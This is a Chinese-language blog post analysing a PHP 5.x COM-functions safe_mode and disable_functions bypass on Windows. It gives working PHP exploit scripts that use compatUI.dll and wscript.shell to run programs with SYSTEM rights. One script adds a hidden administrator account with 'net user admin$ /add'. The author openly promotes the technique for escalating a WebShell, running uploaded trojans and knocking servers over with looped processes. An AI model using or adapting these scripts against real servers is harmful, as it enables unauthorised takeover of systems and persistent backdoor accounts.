PHP 5.x COM functions提权漏洞的利用分析

================================nbsp;  PHP是英文超级文本预处理语言Hypertext Preprocessor)的缩写,是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能,所有的CGI或者JavaScript的功能,PHP都能实现,支持几乎所有流行的数据库以及操作系统。    近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞,也就是PHP 5.x COM functions safe_mode anddisable_function bypass漏洞。它可以实现提权,这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞,由于本人水平有限,请大家原谅不准确的地方。    漏洞所用到的COM函数只在Windows环境下的PHP才存在,.net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装,是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展,不用额外加载其他扩展来调用漏洞函数。          现在部分大中型网站都喜欢用PHP+Apache+Windows来架设,这样的话,PHP漏洞的打击面就会很大了,特别是在现在提权越来越难的形势下,我想,很多服务器会因为这个漏洞而沦陷的。根据漏洞发现者公布的内容,漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2,在我的测试当中,发现并不一定要严格按照这样配置,大家可以自己测试一下看看。 
safe_mode= On 
disable_functions = com_load_typelib 
open_basedir = htdocs 
下面我们就逐一看看这个漏洞的内容与利用。 

compatUI.dll
中的RunApplication函数 
这个漏洞的测试代码如下。 
<?php 
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}'); 
//加载compatUI.dll  $compatUI->RunApplication("something", "notepad.exe",1); 
//运行记事本 
?> 


将其保存为PHP文件,放到服务器上,然后用IE访问就可以了。运行后IE是没有什么回显的,如图1所示,但实际上记事本已经运行了,而且是SYSTEM权限,因为它是由系统服务来运行的,所以继承了SYSTEM权限,如图2所示。 
 


          利用这个漏洞,我们可以运行已经上传好的木马,实现WebShell的提权。当然,如果你足够无聊的话,还可以写成循环,让服务器运行很多记事本,实现D.O.S 

Wscript
运行命令 

这个漏洞的测试代码如下。 
<?php 
$wscript = new COM('wscript.shell'); //要用到wscript.exe 
$wscript->Run("cmd.exe /c calc.exe");//运行calc.exe 
?> 

访问该脚本后,服务器上出现了SYSTEM权限的calc.exe进程,如图3所示。我们只要发挥一下想象力,修改一下脚本,就能加个管理员账户了,具体代码如下。 

 

<?php 

$wscript = new COM('wscript.shell');$wscript->Run("cmd.exe /c net useradmin$ /add"); 
$wscript->Run("cmd.exe /c net localgroup administrators admin$/add"); 
?> 
经测试,必须是system权限才行...比较鸡肋


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值